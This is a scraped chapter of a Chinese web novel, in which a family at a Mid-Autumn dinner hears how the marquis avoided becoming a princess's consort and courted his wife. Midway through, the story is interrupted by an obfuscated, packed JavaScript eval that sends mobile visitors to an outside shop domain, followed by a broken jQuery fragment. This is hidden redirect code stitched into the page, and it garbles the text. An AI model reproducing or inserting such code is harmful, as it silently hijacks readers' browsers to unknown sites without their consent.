文趣网 > 其他小说 > 错嫁纨绔 > 37. 杯盘河汉(二十二)
    “陆,少,焉。”

    陆也一凛,回过神来,顿时觉得后颈一凉,他缩了缩脖子,不敢再造次,乖乖低下头,强迫自己看向书本。

    嗯,这箕子到底说了些啥来着?

    啊,这书可真像一本书哇!

    ……

    暮色四合,华灯初上。

    中秋家宴并未设在宽敞的正厅,而是摆在了东院那株最大的金桂树下。

    青石圆桌旁摆了四张藤椅,桌上已陈列好各色佳肴。

    肥美的秋蟹,香酥的烤鸭,清蒸的鲈鱼,各色时蔬,当中自然少不了应景的月饼和桂花酿。

    谢允善和陆乘早已落座,姜耳兴奋地在桌脚边转来转去,被陆乘笑着喂了一小块无骨的鸡肉。

    晚风轻拂,桂香袭人,月华初显,清辉洒落。一家四口围坐,举杯共祝佳节,笑语晏晏。

    桂影之下,石桌上的菜肴消耗过半,氛围越发松快温馨。

    陆乘抿了一口桂花酿,目光落在正给姜耳喂食鸡肉的孟青芦身上,忽然笑道:“阿楚入我陆家门庭,也算是缘分。这世间的缘分啊,有时真是奇妙,看似南辕北辙,偏又能撞到一处。”

    谢允善优雅地夹起一箸清炒藕片,闻言含笑接口:“可不是么,世事无常,就像有些人,年轻时钟情山水,立志闲云野鹤,可偏偏如今却成了独当一面的侯爷。”

    陆也正跟一只肥美的蟹钳较劲,闻言立刻竖起耳朵,眼睛亮晶晶地看向父母:“爹娘,你们年轻时的事儿,还没仔细说过呢!快讲讲!”

    陆乘被妻子这一瞥,又见儿子儿媳都好奇地望着自己,老脸微热,咳嗽一声:“陈年旧事,有什么好讲的。”

    这时,门房邱叔提着盏灯笼从月洞门外经过,看样子是去前院巡视。

    他年轻时是陆乘的书童兼玩伴,如今担着门房领班的闲职,很是快活。

    陆乘瞧见他,像是瞧见了救星,顺口招呼:“伯福,用过饭了?”

    邱伯福停下脚步,躬身笑道:“谢侯爷关心,早已用过,你们慢用。”

    谢允善心思玲珑,见状便笑着对邱伯福道:“伯福来得正好,侯爷正不好意思讲他年轻时的事情,你从小跟他一块儿长大,定知道不少。”

    邱伯福乐了,凑近两步笑道:“夫人这一提,我倒想起一桩,咱们侯爷啊,年轻时候在岱州老家可是发过誓的,说要而立之后再成家,谁承想见到了夫人就什么誓言都忘了。”

    “哦?”谢允善挑了挑眉,看向丈夫,笑意更深,“这我可从未听你提过。”

    陆也和孟青芦更是被勾起了十足的好奇心。

    陆也直接道:“你看我说什么,我不爱成亲那就是学爹的,爹年轻的时候不也想着而立之后再成家嘛!”

    陆乘被老友揭短,耳根更红,瞪了邱伯福一眼,却见妻子儿子儿媳都眼巴巴等着,只好无奈地捋了捋短须道:“这,遇良人先成家,遇贵人先立业。我本以为自己会先遇着贵人呢,谁曾想先遇着良人了,这不就先成家,后立业了么?”

    “爹!快说说,您和娘到底怎么遇上的?”陆也迫不及待地追问。

    陆乘张了张嘴,到底有些羞于在晚辈面前细说当年情事,又别开了脸。

    邱伯福心直口快,笑着接过了话头:“小侯爷,您可知侯爷二十岁那年,为何突然被老侯爷从岱州召来元安?”

    “为何?”孟青芦和陆也异口同声。

    谢允善也放下了筷子,饶有兴致地听着,显然这部分她也不甚清楚细节。

    邱伯福卖了个关子,看着众人猜测纷纷,越猜越离奇。

    他见火候差不多了,才笑眯眯揭晓:“是为了给当时的平康长公主,选驸马!”

    “什么?!”孟青芦惊得差点碰翻手边的茶盏,眼睛瞪得溜圆,“平康长公主?!”

    那可是她极为敬仰的人物,正是因长公主力主革新,女子科举入仕之路才得以拓宽,她在司天台任职,内心深处亦感念其恩。

    她万万没想到,公爹竟曾与选驸马一事扯上关系:“父亲,您竟与长公主年岁相仿?”

    陆乘连忙摆手,言语间尽是恭敬之意:“没有没有!我那时刚弱冠,长公主殿下已近不惑之年了,怎是我能高攀得起的人物。”

    孟青芦倒吸一口凉气,感觉离平康长公主的传奇人生又近了一步,心中震撼不已。

    陆也的关注点却歪了,他上下打量着父亲,啧啧称奇:“爹,您当年年轻啊,这优势不小啊!怎么没选上呢?”

    陆乘没好气地瞪了儿子一眼:“什么叫优势就是年轻?你爹我年轻时候,那叫一个仪表堂堂,风姿俊朗!”

    “是是是,又俊又年轻,那为什么没成驸马爷呢?”陆也不怕死地追问。

    邱伯福笑着插嘴:“哎哟,我的小侯爷,要我说一句不该说的呀,要是侯爷当年真使把劲,凭咱们侯爷的人才家世,那可真不一定选不上,可侯爷他啊——”

    谢允善此时幽幽开口,语气了然:“侯爷在家中本是次子,不甚受重视,常年居于老家岱州,骤然攀附皇室,必定卷入无数是非旋涡,做个富贵闲人都难,更别说闲云野鹤了,麻烦,且非所愿。”

    陆乘闻言,望向妻子,一拍大腿:“知我者,夫人也!正是此理,我就是个怕麻烦的性子,只愿逍遥度日,那爵位落不到我头上,我反倒轻松,驸马更是想都没想过。”

    “那您是怎么落选的?”孟青芦好奇极了。

    陆乘回忆起往事:“我也想做点什么让自己出丑啊,可先帝他老人家偏就看中我了,夸我有什么春山之相,意思就是我长得周正大气,有巍然之气。”

    “当时在大殿上,我正着急呢,忽然瞧见一只蜜蜂嗡嗡飞过,我灵机一动,也顾不得许多,装作惊慌失措,哎呀一声就躲到了旁边侍卫身后。”

    他模仿着当时的样子,把众人都逗笑了。

    陆乘自己也笑:“这事儿后来不知怎的传到了长公主耳中,我估摸着,殿下定是觉得我胆小怯懦,于是我便落选了。”

    谢允善听完,意味深长地哦了一声,然后故作好奇地问:“原来如此,那侯爷,我且问你,你到底怕不怕虫子啊?”

    陆乘随口道:“大丈夫顶天立地,岂会怕区区小虫?”

    谢允善点点头,慢条斯理道:“那你每次在园子里瞧见蜜蜂蝴蝶,甚至只是只小毛虫,就往我身后躲,是什么意思呢?”

    “噗——!”陆乘一口茶喷了出来,陆也孟青芦也忍俊不禁,连邱叔都背过身去肩膀耸动。

    陆乘被妻子当众拆穿,脸涨得通红,支吾半天,言不由衷。

    孟青芦笑过,忽然想起什么,问道:“父亲,我记得先帝夸赞您,似乎是春山伏虎之象?与您方才说的春山之相略有不同。”

    陆也在一旁抢答:“这我知道!是爹后来入朝为官,展现雷霆手段,才从春山变成了春山伏虎,表面温润,内藏锋锐嘛!”

    陆乘讪笑了一下。

    孟青芦了然点头,心想这大概就是公爹在朝堂之上与在家中所展现的不同气度了。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17802093|206958||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    “那后来呢?爹您是怎么见到娘的?”陆也又把话题拽了回来。

    陆乘再次卡壳,眼神飘忽。

    邱叔见状,笑着继续:“后来啊,侯爷从宫里出来,心里一块大石落地,坐在马车里正美呢,也不知怎的,忽然就心血来潮,掀开了车帘往外瞧,这一瞧可不得了,正巧就看见了当时还是谢家娘子的夫人,带着丫鬟从一家书局出来。”

    谢允善笑了笑,对邱叔道:“伯福,你让他自己说后面的。”

    陆乘连连向夫人作揖求饶,谢允善却不为所动,反而对邱伯福说:“伯福你在旁边听着,若他有半句不尽不实,你可得及时纠正。”

    陆乘哀叹一声,知道躲不过了。

    他求助似的看向孟青芦,孟青芦忍住笑,帮他起头:“父亲,那您见到母亲第一面时,心里想的是什么?”

    这个问题似乎让陆乘回到了那个遥远的午后,他眼神变得悠远,语气也轻柔起来:“惊鸿一瞥,摄魂夺魄。”

    短短八字,道尽刹那心动。

    “见着了之后啊,我魂牵梦绕,只是一门心思想着,如何才能结识那位书局门口的谢娘子了。”

    “爹,你是看娘长得好看见色起意啊。”陆也揶揄。

    “这个问题我也问过自己,可我觉得不是。”陆乘认真道,“我不是个勇敢的人,只是见色起意不会让我这么坚定地想要结识她,不会让我不计所有后果追寻她,起意不会,起情才会。”

    “那时啊,你母亲是出了名的才女,又是高门贵女,衣冠之家,与我同齿而长我五月,行事干练,把家里弟妹照顾得井井有条,什么都要亲力亲为,看着就让人心疼。

    我就想方设法打听她的行踪,制造偶遇,今日恰巧遇见送海棠,明日恰巧遇见送桃花,就这么着,持续了差不多整整一年。”

    “一年?”陆也夸张地叫道,“爹,您追娘追了一年啊?送了娘一整年的花?”

    陆乘被儿子这语气弄得哭笑不得:“臭小子,你以为追心上人那么容易?说不定你追一年还追不上呢!”

    谢允善听着丈夫的叙述,唇角含笑,当年她肩挑家族庶务,活得紧绷而疲惫,那个总是不期而遇,眼神明亮又带着点傻气的青年总会抱着一大束鲜花坚定不移地奔向她,他确实像一束光,照进了她按部就班的生活。

    但她需要纠正儿子的是,他不止送了一年的花,就算到了如今,她也时常能收到花。

    “后来呢?”孟青芦问。

    “一年后,我差不多该回岱州了。”陆乘叹道,“你母亲那时虽出身高门,但父母早逝,身为长姐,在家中并无太多话语权,只是尽心照顾弟妹。

    或许是看到了我的诚意,也或许是她终于愿意为自己考虑一次,在我离开前,她松了口,我便立刻上门求亲,在京城完婚后,带着她一起回了岱州老家。”

    “回去后不久,便有了卯卿。卯卿五六岁时,京中传来噩耗,我兄长感染时疫,药石罔效,去了。

    我父亲,想起还有我这个儿子,将我们一家接回了元安。没过两年,父亲也病故,我便承袭了这爵位。”

    他顿了顿,看向眼前围绕的妻儿:“之后,便是在这元安城中安家落户,一直至今了。”

    月色清朗如洗,桂影婆娑,石桌上杯盘已撤,换上了清茶与几样果品。

    夜风送爽,带着甜香,一家人围坐,意犹未尽。

    陆也伸了个懒腰,忽然拍手道:“爹娘,阿楚,如此良辰,枯坐赏月岂不无趣?咱们来玩个游戏如何?”